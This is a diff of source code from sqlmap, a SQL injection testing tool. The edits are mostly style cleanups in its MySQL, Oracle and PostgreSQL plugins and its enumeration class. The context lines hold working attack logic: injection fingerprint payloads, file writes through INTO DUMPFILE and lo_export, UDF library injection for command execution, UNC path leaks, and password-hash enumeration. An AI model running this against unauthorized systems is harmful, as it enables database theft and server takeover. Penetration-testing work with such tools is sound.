wsOsFp = formatFingerprint("web server", kb.headersFp)
|
||||||
|
@ -237,7 +230,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
|
|
||||||
return value
|
return value
|
||||||
|
|
||||||
|
|
||||||
def checkDbms(self):
|
def checkDbms(self):
|
||||||
"""
|
"""
|
||||||
References for fingerprint:
|
References for fingerprint:
|
||||||
|
@ -266,14 +258,14 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
payload = agent.fullPayload(" AND CONNECTION_ID()=CONNECTION_ID()")
|
payload = agent.fullPayload(" AND CONNECTION_ID()=CONNECTION_ID()")
|
||||||
result = Request.queryPage(payload)
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
if result == True:
|
if result:
|
||||||
infoMsg = "confirming MySQL"
|
infoMsg = "confirming MySQL"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
payload = agent.fullPayload(" AND ISNULL(1/0)")
|
payload = agent.fullPayload(" AND ISNULL(1/0)")
|
||||||
result = Request.queryPage(payload)
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
if result != True:
|
if not result:
|
||||||
warnMsg = "the back-end DMBS is not MySQL"
|
warnMsg = "the back-end DMBS is not MySQL"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
@ -353,7 +345,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
|
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
|
||||||
def checkDbmsOs(self, detailed=False):
|
def checkDbmsOs(self, detailed=False):
|
||||||
if kb.os:
|
if kb.os:
|
||||||
return
|
return
|
||||||
|
@ -376,7 +367,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
|
|
||||||
self.cleanup(onlyFileTbl=True)
|
self.cleanup(onlyFileTbl=True)
|
||||||
|
|
||||||
|
|
||||||
def unionReadFile(self, rFile):
|
def unionReadFile(self, rFile):
|
||||||
infoMsg = "fetching file: '%s'" % rFile
|
infoMsg = "fetching file: '%s'" % rFile
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
@ -385,7 +375,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
|
|
||||||
return result
|
return result
|
||||||
|
|
||||||
|
|
||||||
def stackedReadFile(self, rFile):
|
def stackedReadFile(self, rFile):
|
||||||
infoMsg = "fetching file: '%s'" % rFile
|
infoMsg = "fetching file: '%s'" % rFile
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
@ -427,7 +416,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
|
|
||||||
return result
|
return result
|
||||||
|
|
||||||
|
|
||||||
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
|
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
|
||||||
logger.debug("encoding file to its hexadecimal string value")
|
logger.debug("encoding file to its hexadecimal string value")
|
||||||
|
|
||||||
|
@ -455,10 +443,9 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
|
|
||||||
conf.paramFalseCond = oldParamFalseCond
|
conf.paramFalseCond = oldParamFalseCond
|
||||||
|
|
||||||
if confirm == True:
|
if confirm:
|
||||||
self.askCheckWrittenFile(wFile, dFile, fileType)
|
self.askCheckWrittenFile(wFile, dFile, fileType)
|
||||||
|
|
||||||
|
|
||||||
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
|
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
|
||||||
debugMsg = "creating a support table to write the hexadecimal "
|
debugMsg = "creating a support table to write the hexadecimal "
|
||||||
debugMsg += "encoded file to"
|
debugMsg += "encoded file to"
|
||||||
|
@ -486,10 +473,9 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html
|
# Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html
|
||||||
inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True)
|
inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True)
|
||||||
|
|
||||||
if confirm == True:
|
if confirm:
|
||||||
self.askCheckWrittenFile(wFile, dFile, fileType)
|
self.askCheckWrittenFile(wFile, dFile, fileType)
|
||||||
|
|
||||||
|
|
||||||
def udfSetRemotePath(self):
|
def udfSetRemotePath(self):
|
||||||
self.getVersionFromBanner()
|
self.getVersionFromBanner()
|
||||||
|
|
||||||
|
@ -539,10 +525,8 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
# The SO can be in either /lib, /usr/lib or one of the
|
# The SO can be in either /lib, /usr/lib or one of the
|
||||||
# paths specified in /etc/ld.so.conf file, none of these
|
# paths specified in /etc/ld.so.conf file, none of these
|
||||||
# paths are writable by mysql user by default
|
# paths are writable by mysql user by default
|
||||||
# TODO: test with plugins folder on MySQL >= 5.1.19
|
|
||||||
self.udfRemoteFile = "/usr/lib/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
|
self.udfRemoteFile = "/usr/lib/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
|
||||||
|
|
||||||
|
|
||||||
def udfCreateFromSharedLib(self, udf, inpRet):
|
def udfCreateFromSharedLib(self, udf, inpRet):
|
||||||
if udf in self.udfToCreate:
|
if udf in self.udfToCreate:
|
||||||
logger.info("creating UDF '%s' from the binary UDF file" % udf)
|
logger.info("creating UDF '%s' from the binary UDF file" % udf)
|
||||||
|
@ -557,7 +541,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
else:
|
else:
|
||||||
logger.debug("keeping existing UDF '%s' as requested" % udf)
|
logger.debug("keeping existing UDF '%s' as requested" % udf)
|
||||||
|
|
||||||
|
|
||||||
def udfInjectCmd(self):
|
def udfInjectCmd(self):
|
||||||
self.udfLocalFile = paths.SQLMAP_UDF_PATH
|
self.udfLocalFile = paths.SQLMAP_UDF_PATH
|
||||||
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
|
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
|
||||||
|
@ -572,9 +555,8 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
self.udfInjectCore(self.sysUdfs)
|
self.udfInjectCore(self.sysUdfs)
|
||||||
self.envInitialized = True
|
self.envInitialized = True
|
||||||
|
|
||||||
|
|
||||||
def uncPathRequest(self):
|
def uncPathRequest(self):
|
||||||
if kb.stackedTest == False:
|
if not kb.stackedTest:
|
||||||
query = agent.prefixQuery(" AND LOAD_FILE('%s')" % self.uncPath)
|
query = agent.prefixQuery(" AND LOAD_FILE('%s')" % self.uncPath)
|
||||||
query = agent.postfixQuery(query)
|
query = agent.postfixQuery(query)
|
||||||
payload = agent.payload(newValue=query)
|
payload = agent.payload(newValue=query)
|
||||||
|
|
|
@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
|
@ -48,13 +46,11 @@ from plugins.generic.fingerprint import Fingerprint
|
||||||
from plugins.generic.misc import Miscellaneous
|
from plugins.generic.misc import Miscellaneous
|
||||||
from plugins.generic.takeover import Takeover
|
from plugins.generic.takeover import Takeover
|
||||||
|
|
||||||
|
|
||||||
class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
"""
|
"""
|
||||||
This class defines Oracle methods
|
This class defines Oracle methods
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self.excludeDbsList = ORACLE_SYSTEM_DBS
|
self.excludeDbsList = ORACLE_SYSTEM_DBS
|
||||||
|
|
||||||
|
@ -64,7 +60,6 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
|
|
||||||
unescaper.setUnescape(OracleMap.unescape)
|
unescaper.setUnescape(OracleMap.unescape)
|
||||||
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def unescape(expression, quote=True):
|
def unescape(expression, quote=True):
|
||||||
if quote:
|
if quote:
|
||||||
|
@ -96,7 +91,6 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
|
|
||||||
return expression
|
return expression
|
||||||
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def escape(expression):
|
def escape(expression):
|
||||||
while True:
|
while True:
|
||||||
|
@ -121,7 +115,6 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
|
|
||||||
return expression
|
return expression
|
||||||
|
|
||||||
|
|
||||||
def getFingerprint(self):
|
def getFingerprint(self):
|
||||||
value = ""
|
value = ""
|
||||||
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
||||||
|
@ -157,7 +150,6 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
|
|
||||||
return value
|
return value
|
||||||
|
|
||||||
|
|
||||||
def checkDbms(self):
|
def checkDbms(self):
|
||||||
if conf.dbms in ORACLE_ALIASES:
|
if conf.dbms in ORACLE_ALIASES:
|
||||||
setDbms("Oracle")
|
setDbms("Oracle")
|
||||||
|
@ -173,14 +165,14 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
payload = agent.fullPayload(" AND ROWNUM=ROWNUM")
|
payload = agent.fullPayload(" AND ROWNUM=ROWNUM")
|
||||||
result = Request.queryPage(payload)
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
if result == True:
|
if result:
|
||||||
logMsg = "confirming Oracle"
|
logMsg = "confirming Oracle"
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
payload = agent.fullPayload(" AND LENGTH(SYSDATE)=LENGTH(SYSDATE)")
|
payload = agent.fullPayload(" AND LENGTH(SYSDATE)=LENGTH(SYSDATE)")
|
||||||
result = Request.queryPage(payload)
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
if result != True:
|
if not result:
|
||||||
warnMsg = "the back-end DMBS is not Oracle"
|
warnMsg = "the back-end DMBS is not Oracle"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
@ -212,7 +204,6 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
|
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
|
||||||
def forceDbmsEnum(self):
|
def forceDbmsEnum(self):
|
||||||
if conf.db:
|
if conf.db:
|
||||||
conf.db = conf.db.upper()
|
conf.db = conf.db.upper()
|
||||||
|
@ -228,44 +219,37 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
if conf.tbl:
|
if conf.tbl:
|
||||||
conf.tbl = conf.tbl.upper()
|
conf.tbl = conf.tbl.upper()
|
||||||
|
|
||||||
|
|
||||||
def getDbs(self):
|
def getDbs(self):
|
||||||
warnMsg = "on Oracle it is not possible to enumerate databases"
|
warnMsg = "on Oracle it is not possible to enumerate databases"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return []
|
return []
|
||||||
|
|
||||||
|
|
||||||
def readFile(self, rFile):
|
def readFile(self, rFile):
|
||||||
errMsg = "File system read access not yet implemented for "
|
errMsg = "File system read access not yet implemented for "
|
||||||
errMsg += "Oracle"
|
errMsg += "Oracle"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
|
|
||||||
def writeFile(self, wFile, dFile, fileType=None, confirm=True):
|
def writeFile(self, wFile, dFile, fileType=None, confirm=True):
|
||||||
errMsg = "File system write access not yet implemented for "
|
errMsg = "File system write access not yet implemented for "
|
||||||
errMsg += "Oracle"
|
errMsg += "Oracle"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
|
|
||||||
def osCmd(self):
|
def osCmd(self):
|
||||||
errMsg = "Operating system command execution functionality not "
|
errMsg = "Operating system command execution functionality not "
|
||||||
errMsg += "yet implemented for Oracle"
|
errMsg += "yet implemented for Oracle"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
|
|
||||||
def osShell(self):
|
def osShell(self):
|
||||||
errMsg = "Operating system shell functionality not yet "
|
errMsg = "Operating system shell functionality not yet "
|
||||||
errMsg += "implemented for Oracle"
|
errMsg += "implemented for Oracle"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
|
|
||||||
def osPwn(self):
|
def osPwn(self):
|
||||||
errMsg = "Operating system out-of-band control functionality "
|
errMsg = "Operating system out-of-band control functionality "
|
||||||
errMsg += "not yet implemented for Oracle"
|
errMsg += "not yet implemented for Oracle"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
|
|
||||||
def osSmb(self):
|
def osSmb(self):
|
||||||
errMsg = "One click operating system out-of-band control "
|
errMsg = "One click operating system out-of-band control "
|
||||||
errMsg += "functionality not yet implemented for Oracle"
|
errMsg += "functionality not yet implemented for Oracle"
|
||||||
|
|
|
@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import re
|
import re
|
||||||
|
|
||||||
|
@ -84,7 +82,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||||
|
|
||||||
unescaper.setUnescape(PostgreSQLMap.unescape)
|
unescaper.setUnescape(PostgreSQLMap.unescape)
|
||||||
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def unescape(expression, quote=True):
|
def unescape(expression, quote=True):
|
||||||
if quote:
|
if quote:
|
||||||
|
@ -116,7 +113,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||||
|
|
||||||
return expression
|
return expression
|
||||||
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def escape(expression):
|
def escape(expression):
|
||||||
while True:
|
while True:
|
||||||
|
@ -141,7 +137,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||||
|
|
||||||
return expression
|
return expression
|
||||||
|
|
||||||
|
|
||||||
def getFingerprint(self):
|
def getFingerprint(self):
|
||||||
value = ""
|
value = ""
|
||||||
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
||||||
|
@ -177,7 +172,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||||
|
|
||||||
return value
|
return value
|
||||||
|
|
||||||
|
|
||||||
def checkDbms(self):
|
def checkDbms(self):
|
||||||
"""
|
"""
|
||||||
Reference for fingerprint: http://www.postgresql.org/docs/8.3/interactive/release-8-3.html
|
Reference for fingerprint: http://www.postgresql.org/docs/8.3/interactive/release-8-3.html
|
||||||
|
@ -199,14 +193,14 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||||
payload = agent.fullPayload(" AND %s::int=%s" % (randInt, randInt))
|
payload = agent.fullPayload(" AND %s::int=%s" % (randInt, randInt))
|
||||||
result = Request.queryPage(payload)
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
if result == True:
|
if result:
|
||||||
infoMsg = "confirming PostgreSQL"
|
infoMsg = "confirming PostgreSQL"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
payload = agent.fullPayload(" AND COALESCE(%s, NULL)=%s" % (randInt, randInt))
|
payload = agent.fullPayload(" AND COALESCE(%s, NULL)=%s" % (randInt, randInt))
|
||||||
result = Request.queryPage(payload)
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
if result != True:
|
if not result:
|
||||||
warnMsg = "the back-end DMBS is not PostgreSQL"
|
warnMsg = "the back-end DMBS is not PostgreSQL"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
@ -258,7 +252,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||||
|
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
|
||||||
def checkDbmsOs(self, detailed=False):
|
def checkDbmsOs(self, detailed=False):
|
||||||
if kb.os:
|
if kb.os:
|
||||||
return
|
return
|
||||||
|
@ -283,7 +276,7 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||||
|
|
||||||
break
|
break
|
||||||
|
|
||||||
if kb.os == None:
|
if kb.os is None:
|
||||||
kb.os = "Linux"
|
kb.os = "Linux"
|
||||||
|
|
||||||
infoMsg = "the back-end DBMS operating system is %s" % kb.os
|
infoMsg = "the back-end DBMS operating system is %s" % kb.os
|
||||||
|
@ -291,7 +284,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||||
|
|
||||||
self.cleanup(onlyFileTbl=True)
|
self.cleanup(onlyFileTbl=True)
|
||||||
|
|
||||||
|
|
||||||
def forceDbmsEnum(self):
|
def forceDbmsEnum(self):
|
||||||
if conf.db not in PGSQL_SYSTEM_DBS and conf.db != "public":
|
if conf.db not in PGSQL_SYSTEM_DBS and conf.db != "public":
|
||||||
conf.db = "public"
|
conf.db = "public"
|
||||||
|
@ -302,13 +294,11 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||||
warnMsg += "database name"
|
warnMsg += "database name"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
|
||||||
def unionReadFile(self, rFile):
|
def unionReadFile(self, rFile):
|
||||||
errMsg = "PostgreSQL does not support file reading with UNION "
|
errMsg = "PostgreSQL does not support file reading with UNION "
|
||||||
errMsg += "query SQL injection technique"
|
errMsg += "query SQL injection technique"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
|
|
||||||
def stackedReadFile(self, rFile):
|
def stackedReadFile(self, rFile):
|
||||||
warnMsg = "binary file read on PostgreSQL is not yet supported, "
|
warnMsg = "binary file read on PostgreSQL is not yet supported, "
|
||||||
warnMsg += "if the requested file is binary, its content will not "
|
warnMsg += "if the requested file is binary, its content will not "
|
||||||
|
@ -345,13 +335,11 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||||
|
|
||||||
return result
|
return result
|
||||||
|
|
||||||
|
|
||||||
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
|
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
|
||||||
errMsg = "PostgreSQL does not support file upload with UNION "
|
errMsg = "PostgreSQL does not support file upload with UNION "
|
||||||
errMsg += "query SQL injection technique"
|
errMsg += "query SQL injection technique"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
|
|
||||||
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
|
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
|
||||||
wFileSize = os.path.getsize(wFile)
|
wFileSize = os.path.getsize(wFile)
|
||||||
|
|
||||||
|
@ -419,12 +407,11 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||||
# (pg_largeobject 'data' field)
|
# (pg_largeobject 'data' field)
|
||||||
inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True)
|
inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True)
|
||||||
|
|
||||||
if confirm == True:
|
if confirm:
|
||||||
self.askCheckWrittenFile(wFile, dFile, fileType)
|
self.askCheckWrittenFile(wFile, dFile, fileType)
|
||||||
|
|
||||||
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
|
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
|
||||||
|
|
||||||
|
|
||||||
def udfSetRemotePath(self):
|
def udfSetRemotePath(self):
|
||||||
# On Windows
|
# On Windows
|
||||||
if kb.os == "Windows":
|
if kb.os == "Windows":
|
||||||
|
@ -441,7 +428,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||||
# read/write/execute access is valid
|
# read/write/execute access is valid
|
||||||
self.udfRemoteFile = "/tmp/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
|
self.udfRemoteFile = "/tmp/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
|
||||||
|
|
||||||
|
|
||||||
def udfCreateFromSharedLib(self, udf, inpRet):
|
def udfCreateFromSharedLib(self, udf, inpRet):
|
||||||
if udf in self.udfToCreate:
|
if udf in self.udfToCreate:
|
||||||
logger.info("creating UDF '%s' from the binary UDF file" % udf)
|
logger.info("creating UDF '%s' from the binary UDF file" % udf)
|
||||||
|
@ -457,7 +443,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||||
else:
|
else:
|
||||||
logger.debug("keeping existing UDF '%s' as requested" % udf)
|
logger.debug("keeping existing UDF '%s' as requested" % udf)
|
||||||
|
|
||||||
|
|
||||||
def udfInjectCmd(self):
|
def udfInjectCmd(self):
|
||||||
self.udfLocalFile = paths.SQLMAP_UDF_PATH
|
self.udfLocalFile = paths.SQLMAP_UDF_PATH
|
||||||
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
|
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
|
||||||
|
@ -481,7 +466,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||||
self.udfInjectCore(self.sysUdfs)
|
self.udfInjectCore(self.sysUdfs)
|
||||||
self.envInitialized = True
|
self.envInitialized = True
|
||||||
|
|
||||||
|
|
||||||
def uncPathRequest(self):
|
def uncPathRequest(self):
|
||||||
self.createSupportTbl(self.fileTblName, self.tblField, "text")
|
self.createSupportTbl(self.fileTblName, self.tblField, "text")
|
||||||
inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, self.uncPath), silent=True)
|
inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, self.uncPath), silent=True)
|
||||||
|
|
|
@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
|
@ -49,7 +47,6 @@ from lib.request import inject
|
||||||
from lib.techniques.inband.union.test import unionTest
|
from lib.techniques.inband.union.test import unionTest
|
||||||
from lib.techniques.outband.stacked import stackedTest
|
from lib.techniques.outband.stacked import stackedTest
|
||||||
|
|
||||||
|
|
||||||
class Enumeration:
|
class Enumeration:
|
||||||
"""
|
"""
|
||||||
This class defines generic enumeration functionalities for plugins.
|
This class defines generic enumeration functionalities for plugins.
|
||||||
|
@ -71,11 +68,9 @@ class Enumeration:
|
||||||
|
|
||||||
temp.inference = queries[dbms].inference
|
temp.inference = queries[dbms].inference
|
||||||
|
|
||||||
|
|
||||||
def forceDbmsEnum(self):
|
def forceDbmsEnum(self):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
def getVersionFromBanner(self):
|
def getVersionFromBanner(self):
|
||||||
if "dbmsVersion" in kb.bannerFp:
|
if "dbmsVersion" in kb.bannerFp:
|
||||||
return
|
return
|
||||||
|
@ -100,7 +95,6 @@ class Enumeration:
|
||||||
kb.bannerFp["dbmsVersion"] = inject.getValue(query, unpack=False)
|
kb.bannerFp["dbmsVersion"] = inject.getValue(query, unpack=False)
|
||||||
kb.bannerFp["dbmsVersion"] = kb.bannerFp["dbmsVersion"].replace(",", "").replace("-", "").replace(" ", "")
|
kb.bannerFp["dbmsVersion"] = kb.bannerFp["dbmsVersion"].replace(",", "").replace("-", "").replace(" ", "")
|
||||||
|
|
||||||
|
|
||||||
def getBanner(self):
|
def getBanner(self):
|
||||||
if not conf.getBanner:
|
if not conf.getBanner:
|
||||||
return
|
return
|
||||||
|
@ -131,7 +125,6 @@ class Enumeration:
|
||||||
|
|
||||||
return kb.data.banner
|
return kb.data.banner
|
||||||
|
|
||||||
|
|
||||||
def getCurrentUser(self):
|
def getCurrentUser(self):
|
||||||
infoMsg = "fetching current user"
|
infoMsg = "fetching current user"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
@ -143,7 +136,6 @@ class Enumeration:
|
||||||
|
|
||||||
return kb.data.currentUser
|
return kb.data.currentUser
|
||||||
|
|
||||||
|
|
||||||
def getCurrentDb(self):
|
def getCurrentDb(self):
|
||||||
infoMsg = "fetching current database"
|
infoMsg = "fetching current database"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
@ -155,7 +147,6 @@ class Enumeration:
|
||||||
|
|
||||||
return kb.data.currentDb
|
return kb.data.currentDb
|
||||||
|
|
||||||
|
|
||||||
def isDba(self):
|
def isDba(self):
|
||||||
infoMsg = "testing if current user is DBA"
|
infoMsg = "testing if current user is DBA"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
@ -166,7 +157,6 @@ class Enumeration:
|
||||||
|
|
||||||
return kb.data.isDba == "1"
|
return kb.data.isDba == "1"
|
||||||
|
|
||||||
|
|
||||||
def getUsers(self):
|
def getUsers(self):
|
||||||
infoMsg = "fetching database users"
|
infoMsg = "fetching database users"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
@ -218,7 +208,6 @@ class Enumeration:
|
||||||
|
|
||||||
return kb.data.cachedUsers
|
return kb.data.cachedUsers
|
||||||
|
|
||||||
|
|
||||||
def getPasswordHashes(self):
|
def getPasswordHashes(self):
|
||||||
infoMsg = "fetching database users password hashes"
|
infoMsg = "fetching database users password hashes"
|
||||||
|
|
||||||
|
@ -340,7 +329,6 @@ class Enumeration:
|
||||||
|
|
||||||
return kb.data.cachedUsersPasswords
|
return kb.data.cachedUsersPasswords
|
||||||
|
|
||||||
|
|
||||||
def __isAdminFromPrivileges(self, privileges):
|
def __isAdminFromPrivileges(self, privileges):
|
||||||
# In PostgreSQL the usesuper privilege means that the
|
# In PostgreSQL the usesuper privilege means that the
|
||||||
# user is DBA
|
# user is DBA
|
||||||
|
@ -360,7 +348,6 @@ class Enumeration:
|
||||||
|
|
||||||
return dbaCondition
|
return dbaCondition
|
||||||
|
|
||||||
|
|
||||||
def getPrivileges(self):
|
def getPrivileges(self):
|
||||||
infoMsg = "fetching database users privileges"
|
infoMsg = "fetching database users privileges"
|
||||||
|
|
||||||
|
@ -627,7 +614,6 @@ class Enumeration:
|
||||||
|
|
||||||
return ( kb.data.cachedUsersPrivileges, areAdmins )
|
return ( kb.data.cachedUsersPrivileges, areAdmins )
|
||||||
|
|
||||||
|
|
||||||
def getDbs(self):
|
def getDbs(self):
|
||||||
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
||||||
warnMsg = "information_schema not available, "
|
warnMsg = "information_schema not available, "
|
||||||
|
@ -682,7 +668,6 @@ class Enumeration:
|
||||||
|
|
||||||
return kb.data.cachedDbs
|
return kb.data.cachedDbs
|
||||||
|
|
||||||
|
|
||||||
def getTables(self):
|
def getTables(self):
|
||||||
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
||||||
errMsg = "information_schema not available, "
|
errMsg = "information_schema not available, "
|
||||||
|
@ -777,7 +762,6 @@ class Enumeration:
|
||||||
|
|
||||||
return kb.data.cachedTables
|
return kb.data.cachedTables
|
||||||
|
|
||||||
|
|
||||||
def getColumns(self, onlyColNames=False):
|
def getColumns(self, onlyColNames=False):
|
||||||
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
